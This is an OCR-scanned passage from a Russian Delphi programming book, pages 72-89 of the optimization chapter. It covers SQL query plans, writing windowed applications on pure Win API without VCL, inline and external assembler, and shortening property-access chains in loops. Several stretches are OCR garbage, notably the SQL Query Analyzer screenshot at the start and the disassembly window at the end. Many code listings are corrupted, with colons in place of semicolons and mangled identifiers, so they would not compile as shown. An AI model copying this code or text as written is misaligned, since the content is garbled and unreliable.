72 Глава 2. Оптимизация SQL Query Anatywr Ч ’у MttJAILBto tty Hp wt Query ад$ Window H$||> . ;|ЙН#1йЙТ.? ^ЙЙ^;?;=^3<^ » * | U о\ сьы 3:^W& C§H® gbieetfapws»-. •"• •Д pj MIHAIL(MIHAILwX^i ; ^MIHAIL i * 0 dctionaiy i it] Q distribution i |i О Errors i r* U master I ф Q med : it’ (J model •: Si У msdb i it] У Northwind : it) У Otchet i Л-0 Pana» : -ii Q pubs i it] (j tempdb • "J Common Objecrs •: ® £j Configuration Function: ] it] £3 Cursor Functions i iti £j Date and Time Functio i rtl jy 'l Mathematical Function i it] £3 Aggregate Functions i it) £3 Metadata Functions : Si£'j Security Functions i it] £3 String Functions i it] £3 System Functions : W! I System Statistical Func i 'ij £3 Text and Image Functi» :B- £3 Flowset • it) 'I System Data Tvoes •idecleu'e 0d_pensm datetuae declare 0d_pensw datetime set 0d_pensm set 0d_pensw --60, -55, idcicevAKiOj 105; 105: JSELECT , .FROK person a,- organ о ivHERE a idOrgano.iri I •/ Query 1: Query cost (relative to the batch): 0,00% Query text: SELECT count(*) FROM otchet.dbo.person a, otchet.dbo.organ о WHERE a.idOrgan^o.id AN SELECT Cost: 0% Compute Scalar Stream Aggregat.. Nested Loops/In. Cost: 0% Cost: 0% Cost: 0% SELECT Retrieves rows from the database. Allows selection of one or many rows or columns from one or many tables. Physical operation: Logical operation: Row count: Number of executes: Subtree cost: Estimated row count: SELECT SELECT 0,000000 organ.PK_organ Cost: 0% Filter Cost: 0% g Query WtchC Argument: SELECT count(*) FROM otchet.dbo.person a, otchet.dbo. or gen о WHERE a.idOtgan«o.i d AND ( ( e.sost_polis in (2,4,7) AND ((drogd<@>d_pensm AND pol«‘M') OR (drogd <©d_pensw AND pol»'X')) ANDa.ts_ner«l AND e.dkdog>-convert(datetime,'01 Рис. 2.4. Просмотр плана выполнения запроса в SQL Server Мы не рассматривали способ увеличения производительности за счет изменения аппаратной части. Он требует больших затрат, и наращивание аппаратной части используют только начинающие программисты. Хакеры всегда оперируют про- граммной частью, а потом уже обращают внимание на железо. 2.13. Программирование без VCL Для повышения производительности можно отказаться от визуальности. В раз- деле 1.7 было сказано о том, что необходимо использовать современные техноло- гии, в том числе визуальную модель Delphi. Но если нужно повысить производи- тельность приложения, содержащего несколько функций, то можно отказаться от VCL и написать код на «чистом» Win API. Лично я такое делаю только в крайних случаях, а эти случаи возникают очень редко. Почему программы, написанные с использованием VCL, имеют такой большой размер и невысокую скорость работы? Компоненты VCL — это множество объек- тов, упрощающих программирование. Каждый объект содержит функции, из ко- торых в приложении используется в среднем 10 %. Компилятор стыкует все ука- занные библиотеки со всем нужным и ненужным содержимым. Когда вы начинаете писать программу, то каждый раз встает вопрос — получить минимальный результирующий файл или использовать все визуальные возмож- ности быстрой разработки. В большинстве случаев можно смело выбирать вто-
2.13. Программирование без VCL 73 рое, потому что минимальный размер файла и высокая скорость не нужны. Как уже обсуждалось, оптимизировать надо с умом, и в данном случае оптимизация с помощью отказа от удобных вещей не принесет желаемого результата. Скорость разработки является не менее важным фактором в отношении к скоро- сти работы программы. Если вы затратите на разработку быстрого решения год, то пользователи лучше заплатят за более медленное решение, на разработку ко- торого требуется пара месяцев. Поэтому в данном случае действует эффект опти- мизации скорости разработки в ущерб производительности скорости выполне- ния. Разработка без VCL еще и нарушает главное правило — оптимизировать только слабые места. Когда вы пишете на «чистом» Win API, то можно сказать, что опти- мизируете всю программу сразу, но это неверно. Большинство операций даже в VCL выполняется быстро, и нет смысла тратить время на излишнее повышение^ производительности. 2.13.1. Уменьшение размера программы с помощью Win API Рассмотрим, как можно создать приложение без использования VCL. Запустите Delphi и создайте новый проект. Вначале нужно удалить визуальную форму, ко- торую автоматически создает среда разработки. Для этого выберите пункт меню View ► Project Manager (Просмотр ► Менеджер проектов), и перед вами откроется окно Project Manager (рис. 2.5). В Project Group! E:\ProgramFiles\Borland\Delphi7\Projects Б-щр Project1.exe E \Prograrn Fi!es\Borland\Delphi7\Prc|ects it;.-Ц] EAProgram Files\Borland\Delphi7\Pro|ects Рис. 2.5. Менеджер проектов В этом окне в виде дерева представлены все модули, входящие в проект. В нашем случае пока есть только один модуль — Unitl. Выделите его и нажмите кнопку Del на клавиатуре или Remove на панели окна Project Manager Теперь сохраните про- ект под именем WinAPIProject. Весь код будем писать в исходном коде проекта. Для этого выберите пункт меню Project ► View Source (Проект ► Просмотреть исходный код). На данном этапе про- ект содержит следующий код:
74 Глава 2. Оптимизация program W1nAPIProject: uses Forms; {$R *.res} begin f Application.Initialize: ApplIcatlon.Run; end. Несмотря на небольшой код, размер результирующего файла будет большим. Откомпилируйте проект (комбинация клавиш Ctrl+F9). Теперь с помощью пунк- та меню Project ► Information for WinAPIProject (Проект ► Информация для WinAPI- Project) откройте окно информации о проекте (рис 2.6). Information Pfprpam ........ Source cQfnpfed- :: Code size: 0 eta size: -|g Initial stack size; Ц Fite sizer ><••• ”13 lines ;.?2: 7409 bytes 16384 bytes 367104 bytes Used" jNone) ... f \ F Status;" ’ WinAPJPtoteOt Successful. Compited. НФ Рис. 2.6. Информация о проекте Обратите внимание, что в строке Source Compiled области Program находится всего 13 строк откомпилированного исходного кода, а размер результирующего кода (строка Code Size) равен 309 408 байтов. При таком маленьком коде получился результирующий файл почти в 300 Кбайт. Некоторые программисты считают, что для уменьшения кода и повышения про- изводительности нужно отказаться от использования пакетов. Давайте рассмот- рим этот вариант. Выберите пункт меню Project ► Options (Проект ► Опции), и пе- ред вами откроется диалоговое окно опций проекта. Перейдите на вкладку Packages (Пакеты) и установите флажок напротив строки Build with runtime packages в обла- сти Runtime packages (рис. 2.7). Снова откомпилируем проект и посмотрим’ информацию о нем. Для этого выбе- рите вновь пункт меню Project ► Information for WinAPIProject. Можно заметить, что размер кода значительно уменьшился до 2 Кбайт (рис. 2.8). Но если попытаться запустить этот файл на компьютере, где не установлен Delphi, то программа выдаст множество ошибок. Почему? В окне информации о проекте в области Packages Used (Используемые пакеты) перечислены необходимые для выполнения файлы. В данном случае это rtl70.bpl и vcl70.bpl. Это своеобразные динамические библиотеки, в них находится весь код VCL, без которого програм-
2.13. Программирование без VCL 75 ма работать не будет. Получается, что мы не освободили программу от визуаль- ной модели и она все ёше используется. Рис. 2.7. Диалоговое окно опций проекта, вкладка Packages Рис. 2.8. Информация о проекте с параметром Build with runtime packages Несмотря на небольшую программу, общий размер файлов, которые вы должны будете установить на компьютере пользователя, будет равен размеру ваших фай- лов плюс размер необходимых bpl-файлов. Эти файлы находятся в системной папке Windows/System32. Посмотрите на их размер. В данном случае два файла rtl70.bpl и vcl70.bpl занимают более 2 Мбайт, поэтому в действительности размер программы увеличился. Давайте теперь снимем флажок напротив строки Build with runtime packages в свой- ствах проекта (см. рис. 2.7) и попробуем уменьшить размер файла другим спосо- бом. Удалите в исходном коде раздел uses и все, что находится между begin и end. У вас должен остаться только следующий код:
76 Глава 2. Оптимизация program WinAPIProject; {$R *.res} begin end. Откомпилируйте проект и посмотрите на информацию о нем (рис. 2.9). Рис. 2.9. Информация о проекте без VCL Вот теперь исполняемый файл занимает около 9 Кбайт и никакие дополнитель- ные файлы не нужны. Почему так резко изменился размер файла? Между begi п и end у нас были вызовы методов объекта TAppl i cati on. Для их использования нужно подключать в раздел uses модуль Forms. Этот модуль входит в состав VCL, и из-за него к программе под- ключается код, который на самом деле нами не используется. Чтобы узнать, какие модули входят в VCL и сильно увеличивают размер, открой- те любой файловый менеджер или проводник, и перейдите в папку Program Fi- les\Borland\Delphi7\Source. Если при инсталляции Delphi вы отказались от установ- ки исходных кодов, то этой папки не будет, и ее надо искать на установочном диске. Если папка существует, то в ней будут исходные коды всех модулей, пред- ставленные в разных подпапках по типам. Все, что находится в VCL, подключать нежелательно. Большинство из этих модулей увеличат размер результирующего файла в несколько раз. А вот то, что находится в RTL, можно подключать без про- блем. Давайте проведем эксперимент. После строки program добавьте строку: uses button; После компиляции проекта размер файла снова увеличится до 300 Кбайт. Это связано с тем, что модуль buttons входит в состав VCL. А теперь замените эту строку на следующую; uses windows; При компиляции проекта без раздела uses размер результирующего файла равен 9 124 байтов, а после добавления модуля windows размер увеличивается только до 9 252 байтов. И это несмотря на то, что мы подключили модуль windows, который занимает на диске более мегабайта (самый большой файл в составе RTL, описы- вающий основные функции Win API).
2.13. Программирование без VCL 77 ПРИМЕЧАНИЕ -----------------------------------------------——---------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch02\WinAPI. 2.13.2. Пример приложения с использованием Win API Если запустить созданное нами пустое приложение (см. предыдущий подраздел), то ничего не произойдет. Не появится никаких окон, и программа сразу же закро- ется. Давайте создадим что-нибудь более стоящее, с главным окном, и посмотрим, как будет работать программа. Даже если вы не будете писать на «чистом» Win API, это поможет вам понять, как работают программы Windows. В листинге 2.6 приведен код проекта, в котором создается окно без использова- ния VCL, на него помещаются две кнопки и обрабатываются события по их на- жатии. Листинг 2.6. Создание окна и кнопок с использованием Win API program W1n_Button; uses windows, messages; var wc: TWndClassEx: pWnd, pButtonl. pButton2: HWND: pMsg: TMsg: // Процедура обработки сообщений function W1ndowProc(wnd: HWND: Msg: Integer: wParam: wParam; 1 Param: 1 Param): Lresult; stdcall; begin Result := 0: case msg of // Создание окна WM_CREATE: begin end: // Уничтожение окна WM-DESTROY: begin PostQultMessage(O); exit: end: // Нажатие кнопки слева в окне WM_LBUTTONDOWN: begin MessageBox(0, Щелчок левой кнопкой мыши в окне' ’Внимание', 0): end: // События от элементов управления продолжение &
78 Глава 2. Оптимизация Листинг 2.6 (продолжение) WMJOMMAND; begin // Нажата первая кнопка if pButtonl = 1 Param then MessageBox(0. 'Левый клик мышкой по кнопке Г. 'Внимание'. 0): // Нажата вторая кнопка if pButton2 = 1 Param then MessageBox(0, 'Левый клик мышкой по кнопке 2', 'Внимание', 0); end; else // Если мы не обработали событие, // то вызываем обработчик по умолчанию Result : = DefWindowProc(wnd.msg.wparam,Iparam); end; end; // Начало кода begin // Регистрация класса окна wc.cbSize ;= sizeof(wc); wc.l.pfnWndProc ;= QWindowProc; wc.cbClsExtra ;= 0; wc.cbWndExtra ;= 0; wc.hinstance ;= HInstance; wc.hCursor ;= LoadCursor(0. IDC_ARROW); wc.hbrBackground ; = COLOR_BTNFACE+1; wc.IpszMenuName ;= nil; wc.lpszClassName ;= 'delphi_winapi'; RegisterCIassEx(wc); // Создание окна на основе созданного класса pWnd ;= CreateWindowEx(WS_EX_APPWINDOW, ’delphi_winapi', 'Delphi WinAPI Demo', WS_OVERLAPPED or WS_SYSMENU CWJJSEDEFAULT, CWJJSEDEFAULT, 250, 130, 0, 0, Hinstance, nil); // Создание первой кнопки pButtonl := CreateWindow('button', 'sdf, WS_CHILD or WSJ/ISIBLE or BS_DEFPUSHBUTTON, 75, 5, 100, 25, pWnd. 0. hinstance, nil); // Создание второй кнопки pButton2 := CreateWindow('button', 'Тест 2', WS_CHILD or WSJ/ISIBLE or BS_DEFPUSHBUTTON, 75. 50, 100. 25, pWnd, 0, hinstance, nil); i // Изменение названия первой кнопки SetWindowText(pButtonl, 'Тест Г);
2.13. Программирование без VCL 79 // Отображение созданного окна ShowWindow(pWnd, SW_SHOW); // Цикл обработки сообщений while GetMessage(pMsg. 0. 0. 0) do begin TranslateMessage(pMsg); DlspatchMessage(pMsg); end; end. В этом примере показаны основы создания приложений на «чистом» Win API. С их помощью вы сможете создать простое приложение минимального размера. В следующих двух главах мы еще много внимания уделим использованию функ- ций Win API. Весь код нашей программы состоит из двух частей: функции WlndowProc и кода проекта между основными операторами begin и end. Рассмотрим основной код, потому что программа начнет выполнение именно с него. Первым делом зарегистрируем новый класс окна, на основе которого будет созда- но главное окно нашей программы. Для регистрации используется функция Regi s- terClassEx, которой нужно в качестве параметра передать структуру типа Twnd- ClassEx, имеющую следующий вид: tagWNDCLASSEXA = packed record cbSIze: UINT; Style: UINT; IpfnWndProc; TFNWndProc; cbClsExtra: Integer: cbWndExtra: Integer; hlnstance: HINST; hlcon: HICON; hCursor: HCURSOR; hbrBackground: HBRUSH; IpszMenuName: PAnsIChar; IpszClassName: PAnsIChar; hlconSm: HICON; end; Рассмотрим параметры структуры TwndClassEx: • cbSIze — размер структуры. Чтобы правильно указать размер, определяем его с помощью функции slzeof; • styl е — стиль окна. Нам этот параметр не нужен, поэтому будет использовать- ся стиль по умолчанию; • 1 pfnWndProc — функция, которая будет использоваться в качестве обработчика события для сообщений окна; • cbCl sExtra и cbWndExtra — количество дополнительных байтов для класса и ок- на. Чаще всего указывают нулевые значения; • hlnstance — экземпляр приложения;
80 Глава 2, Оптимизация • hlcon — пиктограмма программы; • hCursor — курсор, который будет отображаться, когда указатель мыши нахо- дится над окном. По умолчанию используется стрелка (IDC_ARROW). В примере этот указатель явно загружается с помощью функции LoadCursor; • hbrBackground — цвет фона окна; • 1 pszMenuName — главное меню окна; • 1 pszCl assName — имя класса окна. Сейчас мы только регистрируем класс, но это имя должно будет использоваться при создании окна; • hlconSm — указатель на пиктограмму, которая будет отображаться в системном меню окна. После того как мы зарегистрировали класс, можно создать окно на основе этого класса. Для этого используется функция CreateWi ndowEx. Функция возвращает ука- затель на созданное окно и описывается таким образом: function CreateWindowEx( dwExStyle: DWORD: IpClassName: PChar; IpWindowName: PChar: dwStyle: DWORD: X. Y. nWidth. nHeight: Integer: hWndParent: HWND: hMenu: HMENU: hlnstance: HINST: IpParam: Pointer ): HWND: Рассмотрим параметры функции CreateWi ndowEx: • dwExStyl e — расширенный стиль окна. Параметр может принимать следующие значения (рассмотрим только основные): О WS_EX_ACCEPTFILES — окно, на которое можно «перетягивать» файлы (Drag&- Drop); О WS_EX_APPWINDOW — главное окно, кнопка которого будет отображаться в Па- нели задач; О WS_EX_CLIENTEDGE — окно имеет клиентскую область, огражденную границей; О WS_EX_CONTEXTHELP — в заголовке окна есть кнопка помощи для вызова кон- текстного меню; О WS_EX_CONTROLPARENT — разрешается перемещение по элементам окна с помо- щью кнопки Tab; О WS_EX_DLGMODALFRAME — окно с двойной границей. Такие окна используются в качестве модальных диалоговых окон; О WS_EX_MDICHILD — дочернее окно для многодокументного приложения; О WS_EX_RIGHTSCROLLBAR — с правой стороны будет полоса прокрутки;
2.13. Программирование без VCL 81 О WS_EX_T00LWIND0W — окно инструментов. Такие окна имеют узкое системное меню и используются для хранения кнопок или других вспомогательных инструментов главного окна; О WS_EX_TOPMOST — окно будет расположено поверх всех остальных; • 1 рС 1 assName — имя класса, на основе которого будет создаваться окно; • 1 pWi ndowName — заголовок окна; • dwStyl е — стиль окна. Для задания стиля можно указывать сочетания из следу- ющих флагов (рассмотрим основные): О WS_BORDER — окно имеет границу в виде тонкой линии; О WS_CAPTION — окно имеет заголовок; О WS_CHILD — дочернее окно; О WS_DISABLED — окно будет отключено и не сможет получать данные от поль- зователя; О WSJDLGFRAME — окно будет иметь границу, как у диалоговых окон; О WS_MAXIMIZE — после создания окно будет максимизировано; О WS_MAXIMIZEBOX — окно будет иметь кнопку максимизации; О WS_MINIMIZE — окно создается минимизированным; О WS_MINIMIZEBOX — окно будет иметь кнопку минимизации; О WS_SYSMENU — окно будет иметь системное меню; О WS_TABSTOP — окно сможет получать фокус ввода; О WS_VISIBLE — после создания окно будет видимо; • X и Y — левая и верхняя позиции окна; • nWidth и nHeight — высота и ширина окна; • hWndParent — главное окно по отношению к создаваемому; • hMenu — меню; • hlnstance — экземпляр приложения; • IpParam — это значение используется в качестве параметра IpParam в обработ- чике сообщений для события WM_CREATE при создании окна. Для создания элементов управления используется функция CreateWindow: function CreateWindow( IpClassName: PChar; IpWindowName: PChar: dwStyle: DWORD: X. Y. nWidth, nHeight: Integer: hWndParent: HWND; hMenu: HMENU: hlnstance: HINST: IpParam: Pointer ): HWND:
82 Глдва 2. Оптимизация Ее отличие от функции CreateWindowEx состоит в том, что нет первого параметра (расширенного стиля окна). В принципе, простые окна тоже можно создавать с помощью функции CreateWIndow, но она устарела, поэтому рекомендуется исполь- зовать современный вариант CreateWi ndowEx. При создании элементов управления для задания классов окна (параметр 1 рС 1 ass - Name) нужно указывать заранее предопределенные в системе имена классов эле- ментов управления: • BUTTON — кнопка; • COMBOBOX — выпадающий список; • EDIT — поле ввода; • LISTBOX — список выбора; • STATIC — статический текст; • SCROLLBAR — полоса прокрутки. Как видите, перечисленные элементы управления — это те же окна, только имею- щие заранее определенный вид и действующие по определенным правилам. К этим элементам обращаются с помощью тех же функций, что и для обычных окон. В данном примере (см. листинг 2.6) мы создали две кнопки. Для первой в заго- ловке указано бессмысленное сочетание букв, потому что впоследствии заголо- вок изменяется, а для второй в заголовке указано Тест 2. Результатом выполнения функции CreateWi ndow является указатель на созданный элемент управления. Мы его сохраняем для того, чтобы в дальнейшем можно было работать с этими элементами. Чтобы изменить заголовок окна, нужно вызвать функцию SetWindowText, в кото- рой нужно задать следующие параметры: • указатель на окно. Это должен быть указатель, который мы получили при со- здании окна; • новый текст окна. 2.13.3. Обработка сообщений в Win API Наиболер интересным при программировании на Win API является обработка событии. Если вы всегда программировали на таких языках, как Delphi или VB, то для вас эта система покажется слишком сложной и неудобной. При наличии опыта программирования на С все будет уже знакомым. Обработка сообщений начинается со следующего цикла: while GetMessage(pMsg, 0, 0, 0) do begin TranslateMessage(pMsg): DispatchMessage(pMsg): end;
2.14. Оптимизация с помощью ассемблера 83 Здесь запускается цикл, в котором мы получаем сообщения, пока не произойдет выход из программы. Сообщения читаются с помощью функции GetMessage. Внут- ри цикла вызываются две функции: • TranslateMessage — эта функция переводит сообщения виртуальных клавиш в символьные сообщения; • DispatchMessage — функция отправляет сообщения оконному обработчику со- бытий. В качестве оконного обработчика событий мы указали функцию WindowProc. Че- рез ее параметры передается необходимая информация для определения типа со- бытия: • wnd — окно, в котором произошло событие. Одна функция может обрабатывать события разных окон, и отличить их можно по этому параметру; • Msg — указывает на происшедшее событие; • wParam и 1 Param — дополнительные параметры, значения которых изменяются в зависимости от события. Описывать все события, которые можно получить в параметре Msg, нет смысла, потому что их сотни. В нашей программе мы отслеживаем события WM_CREATE (создание окна), WM_DESTROY (уничтожение окна) и WM LBUTTONDOWN (щелчок в окне левой кнопкой мыши). А как «поймать» щелчок мышью на элементе управления? На первый взгляд если это отдельное окно, то необходимо проверить параметр Wnd, и если он соответ- ствует кнопке, то событие пришло именно от нее. Это ошибка, потому что обра- ботка сообщений от элементов управления происходит немного по-другому. Все они в параметре Msg содержат WM_COMMAND, а вот в параметре 1 Param имеют указа- тель на окно (элемент управления). ПРИМЕЧАНИЕ -------------------------------------------------------------- Исходный код примера, рассмотренного в листинге 2.6, находится на компакт-диске в ка- талоге Sources\ch02\WinButton. 2.14. Оптимизация с помощью ассемблера Если вы переработали весь код, который долго выполняется, но не добились же- лаемого результата в скорости выполнения, то можно попытаться переписать са- мые слабые участки кода на языке ассемблер (assembler). В некоторых случаях это может значительно повысить производительность. Компилятор Delphi очень часто вставляет ненужные операции или использует неоптимальные решения для достижения универсальности. Это связано с тем, что во время отладки компилятор не всегда распознает, чего мы хотим добиться Ассемблер позволяет не только оптимизировать логику, но и эффективно использо- вать современные инструкции процессоров, таких как MMX, SSE, 3D Now от AMD.
84 Глава 2. Оптимизация Как можно написать код на языке ассемблер? Это несложно, если вы знаете хотя бы основные операторы этого языка. Но для того, чтобы увеличить скорость бла- годаря ассемблеру, необходимы более глубокие знания. Ассемблер можно использовать в двух вариантах — встроенный в оболочку и внешний. Рассмотрим использование обоих видов. 2.14.1. Встроенный ассемблер При использовании встроенного ассемблера вы можете писать код непосредствен- но в модулях Delphi в любой момент. Для этого служит директива asm. .and. На- пример, код из листинга 2.7 показывает, как можно сложить значения двух пере- менных, используя встроенный ассемблер. Листинг 2.7. Сложение с использованием встроенного ассемблера procedure TAssemblerForm.bSummC11ck(Sender; TObject); var 1 Res, 1, j: DWORD; begin i := 10; j := 20; asm MOV EAX.i ADD EAX, j MOV IRes, EAX end; edResult.Text ;= IntToStr(IRes); end; Ключевое слово asm является началом блока, который заканчивается словом end. Между этими ключевыми словами можно писать код на языке ассемблер. Вы должны учитывать, что комментарии во встроенном ассемблере надо писать в стиле Delphi. В самом языке ассемблер принято писать комментарии после точ- ки с запятой, а во встроенном варианте это недопустимо и приведет к ошибка^: asm MOV EAX, 1 ; Ошибочный комментарий ADD EAX, j // Это комментарий MOV iRes, EAX end; В данном примере используются два оператора ассемблера; • MOV X, Y — помещает значение Y в X. Это эквивалент присваивания в Delphi. В большинстве случаев в качестве X может выступать только регистр ЕАХ или его более короткие варианты (АХ или AL); • ADD X, Y — складывает два значения, а результат помещается в регистр X. Итак, сначала мы помещаем содержимое переменной 1 в регистр ЕАХ. Регистр — это как переменная внутри процессора. ЕАХ — регистр общего значения, который
2.14. Оптимизация с помощью ассемблера 85 можно использовать по-разному. Вы должны знать, что результат большинства операций записывается именно в него. После этого складываем значения регистра ЕАХ и переменной j. А почему сразу нельзя сложить два значения оператором ADD i, j? В ассемблере это запрещено. Во время сложения один из операндов должен быть регистром. Теперь перемещаем результат из регистра ЕАХ в переменную IRes. Так как ключе- вое слово asm заменяет begin, благодаря этому можно писать цельте процедуры и функции на ассемблере. Посмотрите, как можно написать функцию умноже- ния двух чисел: function Mul(X. Y: Integer): Longint; asm MOV ЕАХ, X IMUL Y end: В данном примере нет begin, потому что его заменяет ключевое слово. Функция должна перемножить два числа и возвратить результат. Сначала в регистр ЕАХ помещается содержимое переменной X. После этого выполняется команда IMUL, которая умножает указанное число (в данном случае переменную Y) на содержи- мое регистра ЕАХ. Результат вычисления заносится в регистр ЕАХ. Это функция, а при выходе из нее в результате должно быть содержимое пере- менной Resul t, зарезервированной для данных целей. В примере мы не задаем для этой переменной значения, так что же будет в результате? Ответ прост — содер- жимое регистра ЕАХ, где у нас как раз и находится результат умножения. Теперь вы знаете, что функции в Delphi возвращают результат своей работы че- рез регистр-аккумулятор ЕАХ. ПРИМЕЧАНИЕ ---------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch02\Assembler. 2.14.2. Внешний ассемблер Встроенный ассемблер имеет свои преимущества, но обладает меньшей произво- дительностью и ограничен возможностями среды разработки. Если вы используе- те старую версию Delphi, то в ней не будет поддержки современных инструкций процессоров 3D Now или SSE. Но это поправимо, если использовать внешний ас- семблер. В этом случае вы пишете модуль полностью на ассемблере, компилируете его и только подключаете получившийся в результате объектный файл к своему проекту. Недостаток этого способа в том, что процедуру или функцию приходится полно- стью писать на языке ассемблер. Если при встроенном варианте можно было де- лать только вставки, то в данном случае операторы Delphi недопустимы, потому что компилятор ассемблера не сможет собрать такой код. Давайте рассмотрим пример использования внешних процедур, написанных на ассемблере. Создайте файл WordCount.asm со следующим содержимым:
86 Глава 2. Оптимизация .386 .model flat.STDCALL .code PUBLIC WordCount WordCount PROC push ds mov EAX, 10 pop ds ret ENDP ENDS END Здесь объявлена открытая процедура WordCount, в которой выполняются следую- щие действия: 1. push ds — сохранение содержимого регистра ds (указатель в сегменте данных). В примере это не обязательно, потому что данные не используются, но я вста- вил эту операцию, чтобы при написании собственных процедур на языке ас- семблер вы не забывали сохранять этот регистр. 2. mov ЕАХ, 10 — в регистр ЕАХ помещается значение 10. Вам уже известно, что че- рез этот регистр функции возвращают свои значения. Внешние функции не являются исключением. 3. pop ds — восстановление регистра ds перед выходом. 4. ret — выход из процедуры. При компиляции этого примера я использовал TASM 32 фирмы Borland. Для это- го в командной строке нужно ввести команду: Tasm32. exe WordCount .asm » После компиляции образуется файл WordCount.obj, который будет подключаться к проекту в Delphi. Поместите этот файл в папку, где расположен соответствую- щий проект. Теперь посмотрим, как в Delphi можно использовать функцию WordCount из файла WordCount.obj, созданного на ассемблере. Создайте новый проект в Delphi. Чтобы компилятор знал, где искать функцию WordCount и как она выглядит, ее нужно опи- сать. Исходный код формы с необходимым описанием приведен в листинге 2.8. Листинг 2.8. Описание внешней функции, написанной на ассемблере unit MainUnit: interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
2.14. Оптимизация с помощью ассемблера 87 function wordcount: integer; type TExtAsmForm = class(TForm) Buttonl: TButton; procedure ButtonlClick(Sender: TObject); private {Private declarations} public {Public declarations} end; var ExtAsmForm: TExtAsmForm; implementation function wordcount; external {$L WordCount.obj} {$R *.dfm} end. Перед разделом type находится описание функции wordcount: function wordcount: integer; Теперь ее можно использовать в проекте, указав компилятору, где искать функ- цию. Для этого в разделе implementation приведены две строки: function wordcount; external; {$L WordCount.obj} В первой строке мы сообщаем компилятору, что функция внешняя (external), во второй строке подключается файл WordCount.obj. Подключение файла *.obj по- хоже на подключение ресурсного файла *.dfm, только здесь используется ключ $L или SLINK (подключение). На первый взгляд описание сложное, но это в том случае, когда необходимая функция должна использоваться до раздела implementation. Просто подключить файл и описать внешнюю функцию можно только в этом разделе, а если она дол- жна использоваться раньше, то компилятор выдаст ошибку. Чтобы этих ошибок не было, приходится делать короткое описание до раздела type. Если функция не используется в разделе type, то достаточно в разделе implemen- tation написать следующие строки: function wordcount: Integer; external; {$L WordCount.obj} В первой строке мы описываем функцию и сразу же указываем, что она внешняя. Теперь внешняя функция может использоваться как «родная». Посмотрите на пример ее использования:
88 Глава 2. Оптимизация procedure TExtAsmForm.ButtonlClick(Sender: TObject); var i: Integer: begin 1 := wordcountO; ShowMessage(IntToStr(i)); end; ПРИМЕЧАНИЕ --------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch02\ExternalAsm. С помощью ключа {$1_ Имя файла} можно подключать любые объектные файлы, откомпилированные не только на языке ассемблер, но и на языке C/C++. При подключении файлов, созданных на С, проблем не будет. При использовании объектной модели C++ могут возникнуть некоторые трудности, особенно при использовании MFC. 2.15. Сокращение цепочек Допустим, что у нас есть форма Form2, на которой расположен компонент ListBox, содержащий список чисел. Нам нужно вывести на экран список из Li stBox, в ко- тором к каждому элементу будет прибавлено число, равное количеству элемен- тов. Вот пример решения задачи: var 1: Integer; begin for i := 0 to Form2.Listbox.Items.Count-1 do begin Canvas.TextOutdO, i*16, StrToInt(Form2.Listbox.Items[i])+ Form2.Listbox.Items.Count); end; end; Здесь запускается цикл перебора всех элементов из списка. На экран выводится i-й элемент, которому прибавлено количество элементов в компоненте ListBox. На первый взгляд тут оптимизировать нечего. Разложить цикл невозможно, по- тому что мы не знаем количество элементов, а ведь там может быть вообще одно значение. Но мы уже обсуждали, что оптимизировать можно все, главное пра- вильно подойти к этому. Рассмотрим, как определяется количество элементов в списке Li stBox. Для этого нужно «взять» форму Form2, найти на ней компонент списка Listbox, затем обра- титься к элементам списка Items и только потом определить количество Count. Посчитайте, сколько нужно выполнить операций? И эта цепочка операций вы- полняется несколько раз. Во второй раз мы обращаемся к количеству элементов в цикле. Сейчас не будем обращать внимание на цикл, но такое длинное обраще- ние выполняется не один раз, и это не может не волновать.
2.15. Сокращение цепочек 89 Если бы мы писали код на языке ассемблер, то число, равное количеству элементов, можно было сохранить в регистре, что значительно повысило бы производительность. Операции с регистрами выполняются быстрее, чем с памятью. Но компилятор Delphi может не распознать явной оптимизации. Он может интерпретировать код таким образом, что перед каждым обращением к свойству Count списка число будет копиро- ваться в регистр ЕАХ, а это лишние затраты времени. Для ускорения доступа можно использовать такой пример: var 1 Count, 1 Integer: begin 1 Count := Form2.Listbox.Iterns.Count; for 1 := 0 to 1 Count-1 do begin Canvas.TextOut(10, 1*16, StrToInt(Form2.Listbox.Items[i])+1Count); end; end; Здесь мы объявили новую переменную, но зато сократили число обращений к длинной цепочке до одного. В самом начале значение свойства Count сохраняет- ся в локальной переменной i Count, в которой осуществляется дальнейшая работа. Таким образом, производительность сильно повышается, особенно если цикл бу- дет выполняться сотни раз. ftfnitl.pasi, 311 tor i:*-0 td Listhoxl.lt - .C o<t-l do Й0044ЕР4.7 0B4SFC MOV eax ECX:O.QOOOOOC. :AF 0 jPQ44FP4A OBBQFOCZOOOO 0044FPSO O88Q1BO OOPO 0044FP56 SB 10 J 0044FPSO FFSM4 {tlO44FB5b. 4E QO44FB.SE 85FS ?OB44FfiBO ?«* ?DO44FB^2 -46-.:./ 0044FPS3 3 PS MOV ea , {ea +? BOO t J BOV eax,{eax+^ODOO 2 IB] call cteard ptr [edx+514] dec m-: teat езз.,ез1 .incresi' x&r ebx;fe»x ЕРХ О BP1E14 ESI ODBP16AB EM OQ44FBPC EBPOOIZFEIC EOP.QPUFPFO Eip 0Q44FI>4 EFl OPOOQ246 CS OCXS ;00?3 S3 0023 Unit! pa# 32t LiethoxXЛterne 11] ~IntToStr<l> t >' P044FP6§..OP.S.SFOJ j Q044Fbb8 0800 $ 004Ё4тА E0057EFBFF rPO44FP6F 0P4SF0- 0G44FD72 ©a45F J0044FP7S aBBOF8Q3OOaO ?0044FP7B оваохёогоооо I 0044FP8I B8D3 ' tK}|S4F0B:3 Овзв: :joo44Fbas m?i20-. 0044FP80 43 / > Unit 1. рек ♦ 31$: f or 1 ;¥0 $0044/809 4E / 0044FPOA 75P9 / 0044FP6C 33CO / >aO44FDOE SA/; <’0O44W0F SO *QO44FP$O «9’ / 0044FP91 640910 0044 FD&4 6BA9FP440Q / 0O44FP99 8P4SF8 Й 0044.FP9C ЕЭ934 FSFF ; J 0044FPU. C 3 ’ . ...:::, _ ? (Й44ГРЙ’ ’ Ё99 iSxFBFF 0B44FtiJi9 FRFB Ы__________—1_______________ D04icCfioS^FF oo4ioda& a 4i oa st ff за 84 -aa .x.ds 00410010 20 Al 20 0 45 ВО Ев E9 У 6E ЯЙ 00410 ХЭ 45 FF FF BE FO В F6 ?C Кяя p О гм-тляявДза ел яя:>.еШ:йп aipf left kiov eexzeijx cell inciestr wov ecx>{ebp- 03 > kiqv 